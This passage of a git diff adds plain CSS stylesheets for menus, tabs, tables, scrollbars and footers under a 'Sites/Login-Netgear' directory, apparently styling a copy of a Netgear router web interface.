#666;*/ + height: 9px; +} +a.jScrollArrowUp:hover { + /*background-color: #f60;*/ +} + +a.jScrollArrowDown { + display: block; + position: absolute; + z-index: 1; + bottom: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: #666;*/ + height: 9px; +} +a.jScrollArrowDown:hover { + /*background-color: #f60;*/ +} +a.jScrollActiveArrowButton, a.jScrollActiveArrowButton:hover { + /*background-color: #f00;*/ +} \ No newline at end of file diff --git a/Sites/Login-Netgear/css/jquery.flexbox.css b/Sites/Login-Netgear/css/jquery.flexbox.css new file mode 100644 index 0000000..11bf180 --- /dev/null +++ b/Sites/Login-Netgear/css/jquery.flexbox.css @@ -0,0 +1,83 @@ +/* Input textbox - do not specify a width here, it will be overwritten */ +.ffb-input +{ + float:left; + color:#000; /* must specify along with watermark color */ + height:16px; /* required for webkit browsers (Safari, Chrome) */ +} +/* Color of watermark, if present */ +.ffb-input.watermark { /* added and removed dynamically */ + color:#888; /* must specify along with input color */ +} +/* Drop-down arrow, with sprited image */ +.ffb-arrow +{ + float:left; + width:18px; + height:22px; + background-image:url(../img/sel_win7.gif); +} +.ffb-arrow.out { /* css sprite technique */ + background-position:0; +} +.ffb-arrow.over { /* css sprite technique */ + background-position:-18px 0; +} +.ffb-arrow.active { /* css sprite technique */ + background-position:-35px 0; +} +.ffb-no-results +{ + padding:2px; + color:#888; + font-style:italic; + border-bottom:1px solid #828790; +} +/* Container for dropdown contents */ +.ffb { + position:absolute; /* this guy's parent div is hard-coded to position:relative */ + overflow:hidden; + border-left:1px solid #828790; /* #7B9EBD for Vista */ + border-right:1px solid #828790; + background-color:#fff; /* Give it a background-color, so it's not transparent */ +} +/* Inner div for dropdown */ +.ffb .content { + overflow:auto; +} +.ffb .content .row { + border-bottom:0px ; + color:#000; + height:20px; + clear:both; +} +.ffb-sel { + cursor:pointer; + cursor:hand; + color:#fff !important; + background-color:#39f; +} +.ffb-match { + font-weight:bold; + color:#000; +} + +/* Paging */ +.ffb .paging { + vertical-align:middle; + border-bottom:1px solid #828790; +} +.ffb .page, .ffb a.page { + font-size:85%; + padding:2px; + border:solid 1px #339; + background-color:#eef; + margin:2px; +} +.ffb .box { + width:22px; + margin:2px; +} +.ffb .summary { + font-size:85%; +} \ No newline at end of file diff --git a/Sites/Login-Netgear/css/jquery.jscrollpane.css b/Sites/Login-Netgear/css/jquery.jscrollpane.css new file mode 100644 index 0000000..a051cae --- /dev/null +++ b/Sites/Login-Netgear/css/jquery.jscrollpane.css @@ -0,0 +1,120 @@ +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 16px; + height: 100%; + background: red; +} + +.jspHorizontalBar +{ + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background: red; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #dde; + position: relative; +} + +.jspDrag +{ + background: #bbd; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} \ No newline at end of file diff --git a/Sites/Login-Netgear/css/mainpage.css b/Sites/Login-Netgear/css/mainpage.css new file mode 100644 index 0000000..45a70d9 --- /dev/null +++ b/Sites/Login-Netgear/css/mainpage.css @@ -0,0 +1,182 @@ +html, body { + margin: 0; + padding: 0; + background-color:#e5e5e5; + min-height:600px; + } + + h1{ + padding-left:37%; + font-size:16px; + font-family:arial; + } + + h2{ + padding-left:20%; + font-size:14px; + font-family:arial; + } + + hr{ + border:none; + border-top:1px solid black; + height:0; + } + +.topframe{ + background-color:#2b2b2b; + color:#ffffff; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + +.newtopframe{ + background-color:#ffffff; + color:#000000; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + + +.WNRTitle{ + font-family:Arial; + padding-top:0px; + padding-bottom:0px; + margin-top: 0px; + padding-left:15px; + font-weight:bold; + font-size:12px; +} + + + + + +.main-page-bottom-table{ + #padding-left:20px; + margin-top:15px; + margin-left:20px; + height:20px; + width:95%; + border-collapse:collapse; +} + + +.main-page-help-support-text{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#FFFFFF; + font-size:14px; + font-weight:bold; + } + + +.main-page-bottom-text{ + margin:0px; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#C0C0C0; + font-size:12px; + font-weight:Normal; + border-left-style:solid; + border-color:#EEEEEE; + border-left-width:1px; +} + + +.main-page-search-go{ + background-image:url(../img/search-go.gif); + background-repeat:no-repeat; + border-style: none; + background-color:#373737; + width:35px; + margin-left:3px; + height:20px; + font-family:arial; + color:#ffffff; + font-weight:bold; +} + +.main-page-contain{ + #background-image:url(../frame_back.jpg); + background-repeat:no-repeat; +} + +.main-page-contain2{ + #background-image:url(../frame_back2.jpg); + background-repeat:no-repeat; +} + +.main-page-contain-loading{ + background-image:url(../ajax-loader.gif); + background-repeat:no-repeat; + background-position:45% 40%; +} + +.selectbox{ + background-color:#ffffff; + color:#373737; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + font-weight:bold; +} + +div#preloaded-images { + position: absolute; + overflow: hidden; + left: -9999px; + top: -9999px; + height: 1px; + width: 1px; +} + + +.pointer-cursor{ + cursor: pointer; +} + +.default-cursor{ + cursor: auto; +} + + + + + +#top{_width: 1440px; min-width: 820px; height: 97px; position: absolute; left: 20px; right: 20px; } +#topframe{width: 100%; height: 97px; } + +#middle{ width: 100%; min-height:455px; _height: 795px; position:absolute; top:5px; bottom:0px; left: 0; right: 0; } + +#menu{ float: left; width: 195px; font-family: Arial; font-weight: Bold; font-size: 15px; text-align: left; position:absolute; top:0; bottom:45px;} + +#menu .basic_button{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_white.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer; overflow:hidden;} +#menu .basic_button_big{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_white_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_big_grey{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_grey_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_purple{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_big_purple{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/baisc_menu_white_big_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_grey{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_grey.gif); background-repeat: no-repeat; color: #808080;} + +#menu .basic_button span, #menu .basic_button_purple span, #menu .basic_button_big span, #menu .basic_button_big_purple span, #menu .basic_button_big_grey span{ display:-moz-inline-box; display:inline-block; width:160px; } +#menu .basic_button b, #menu .basic_button_purple b, #menu .basic_button_grey b{margin:auto 5px; line-height:28px;} +#menu .basic_button_big b, #menu .basic_button_big_purple b , #menu .basic_button_big_grey b{margin:auto; line-height:22px; width:10px;} + +#formframe_div{float: left; min-width: 625px; _width: 1245px; min-height: 410px; _height: 707px; position:absolute; top:0; bottom:45px; left:200px; right: 0; } +.container_center{width:910px; min-width:910px; position:absolute; top:610px; bottom:0; left: 20px; right: 20px; } +.footer{ width: 100%; height: 43px; float: left; color: #ffffff; position:absolute; bottom:0px; } +.footer_double{ width: 100%; height: 86px; color: #ffffff; position:absolute; bottom:0px; } +.footer_img { width: 100%; height: 100%; } +.footer b, .footer_double b{font: bold 16px arial;} +.footer a, .footer_double a{ color: #ffffff; font: normal 11px arial; text-decoration: none;} + +.footer #support{ float:left; line-height: 42px; position: absolute; left: 10px; top: 0; } +.footer_double #support{ line-height: 42px; position: absolute; left: 10px; top: 0;} +.footer #search{ float: right; position: absolute; top: 10px; right: 10px;} +.footer_double #search{ float: right; position: absolute; bottom: 10px; right: 10px;} + +#footer #search .search_button{background: Transparent url(../img/search_button.gif ) no-repeat; border: none; width:39px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_middle{background: Transparent url(../img/search_button_middle.gif ) no-repeat; border: none; width:65px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_long{background: Transparent url(../img/search_button_long.gif ) no-repeat; border: none; width:95px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } + + diff --git a/Sites/Login-Netgear/css/menu.css b/Sites/Login-Netgear/css/menu.css new file mode 100644 index 0000000..307f8da --- /dev/null +++ b/Sites/Login-Netgear/css/menu.css @@ -0,0 +1,508 @@ +/* tab pane styling */ + +body { + width:100%; +} + + +.panes div { + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} + +.panes{ + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} +.basic-menu{ + margin:0px; + margin-left:10px; + margin-top:20px; + color:#4e4e4e; + background-color:#E5E5E5; + height:480px; + width:200px; +} + +.basic-menu-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-white-button.gif") no-repeat left top; +} + +.basic-menu-div span{ + color: #4C4C4C; + margin-left:10px; + float:left; + width:180px; + padding-top:4px; + background: url("../img/barrow.jpg") no-repeat 165px 8px; +} + +.basic-menu-div a{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.basic-menu-eco-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-green-button.gif") no-repeat left top; +} + +.basic-menu-eco-div span{ + color: #000000; + margin-left:10px; + float:left; + width:180px; + padding-top:5px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-eco-div a{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; +} + +.basic-menu-eco-div a:hover{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; + cursor:pointer; +} + +.basic-menu-div-gray{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/gray-button.gif") no-repeat; + +} + +.basic-menu-div-gray span{ + + margin-left:10px; + float:left; + width:180px; + color:#767676; + padding-top:4px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-div-gray a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div-gray a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.menuActive{ + list-style:none; + height:30px; + width:200px; + background: url("../img/basic-purple-button.gif") no-repeat left top; +} + + +.menuActive a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; +} + +.menuActive span{ + float:left; + color:#ffffff; + background: url("../img/warrow.jpg") no-repeat 165px 8px; +} + + +.advance-menu{ + padding:0; + margin:0; + color:#4e4e4e; + font-family:arial; + list-style:none; + margin-top:20px; + margin-left:10px; + font-size:12px; + height:480px; + width:200px; +} + +.advance-menu ul{ + + margin:0; + padding:0; + +} + +.advance-menu li{ + zoom:1; + vertical-align:middle; +} + +.advance-menu li.noSub{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/roundedcornr_637010.gif") no-repeat; + +} + +.advance-menu li.noSubLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-black-button-large.gif") no-repeat; + +} + + .advance-menu li.noSubActive{ + padding:0; + height:24px; + padding-top:4px; + background: url("../img/basic-purple-button.gif") no-repeat; + } + + .advance-menu li.noSubActiveLarge{ + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-purple-button-large.gif") no-repeat; + } + +.advance-menu li.noSubGray{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/gray-button.gif") no-repeat; + color:#767676; +} + +.advance-menu li.noSubGrayLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-gray-button-large.gif") no-repeat; + color:#767676; +} + + .advance-menu li.SubActive{ + margin:0; + padding:0; + height:28px; + color:#4e4e4e; + padding-top:4px; + padding-left:5px; + width:200px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.SubActive span{ + margin-left:5px; + padding:0px; + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow_down.jpg") no-repeat 0px; +} + + +.advance-menu li.noSub span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubLarge span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubGray span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.noSubGrayLarge span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.Sub{ + margin:0; + padding:0; + height:25px; + color:#4e4e4e; + padding-top:2px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.Sub span{ + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow.jpg") no-repeat 0px; + margin-left:10px; +} + + + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:18px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenu span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + padding-left:20px; + +} + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:17px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + +.advance-menu li.SubMenuDisable{ + margin:0; + padding:0; + height:20px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + +.advance-menu li.SubMenuLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLarge span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + background:#e5e5e5; + padding-left:20px; + +} + +.advance-menu li.SubMenuLargeDisable{ + margin:0; + padding:0; + height:32px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLargeDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + + + + +.advance-menu li.SubMenuHover span{ + margin-left:0px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#9d98ff; + border-top-style:solid; + border-width:1px; + background:url(); +} + + +.advance-menu li.SubMenuActive{ + margin:0; + padding:0; + height:21px; + color:#4e4e4e; + list-style:none; + width:200px; + background:url("../img/subMenuActive.png") no-repeat 15px -2px; + +} + + + + +.advance-menu li.SubMenuActive span{ + margin-left:20px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#ffffff; +} + + +.advance-menu li.SubMenuActiveLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + width:200px; + list-style:none; + background:url("../img/subMenuActiveLarge.png") no-repeat 15px -2px; +} + + +.advance-menu li.SubMenuActiveLarge span{ + margin-left:20px; + padding-left:0px; + width:170px; + text-decoration:none; + float:left; + color:#ffffff; +} + +.advance-menu span{ + float:left; + +} + +.advance-menu a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + +} + +.advance-menu a:hover{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + cursor:pointer; + +} + + +.subHeader ul{ + margin-top:0; + padding-top:0; + list-style:none; + height:150px; +} + diff --git a/Sites/Login-Netgear/css/qos_tabs.css b/Sites/Login-Netgear/css/qos_tabs.css new file mode 100644 index 0000000..3b6464e --- /dev/null +++ b/Sites/Login-Netgear/css/qos_tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:transparent; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 35px; + line-height:35px; + width: 152px; + text-align:center; + text-decoration:none; + color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/qos-tab-hover.jpg) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file diff --git a/Sites/Login-Netgear/css/scrollbar.css b/Sites/Login-Netgear/css/scrollbar.css new file mode 100644 index 0000000..09cf39b --- /dev/null +++ b/Sites/Login-Netgear/css/scrollbar.css @@ -0,0 +1,123 @@ + +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 12px; + height: 100%; + background-color: #202020; +} + +.jspHorizontalBar +{ + display:none; + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background-color:#202020; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #c0c0d0; + position: relative; +} + +.jspDrag +{ + background: #808080; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} + diff --git a/Sites/Login-Netgear/css/standalone.css b/Sites/Login-Netgear/css/standalone.css new file mode 100644 index 0000000..e13e014 --- /dev/null +++ b/Sites/Login-Netgear/css/standalone.css @@ -0,0 +1,12 @@ +body { + font-family:"Lucida Grande","bitstream vera sans","trebuchet ms",sans-serif,verdana,Arial; +} + +/* get rid of those system borders being generated for A tags */ +a:active { + outline:none; +} + +:focus { + -moz-outline-style:none; +} diff --git a/Sites/Login-Netgear/css/table.css b/Sites/Login-Netgear/css/table.css new file mode 100644 index 0000000..6429fe7 --- /dev/null +++ b/Sites/Login-Netgear/css/table.css @@ -0,0 +1,695 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + 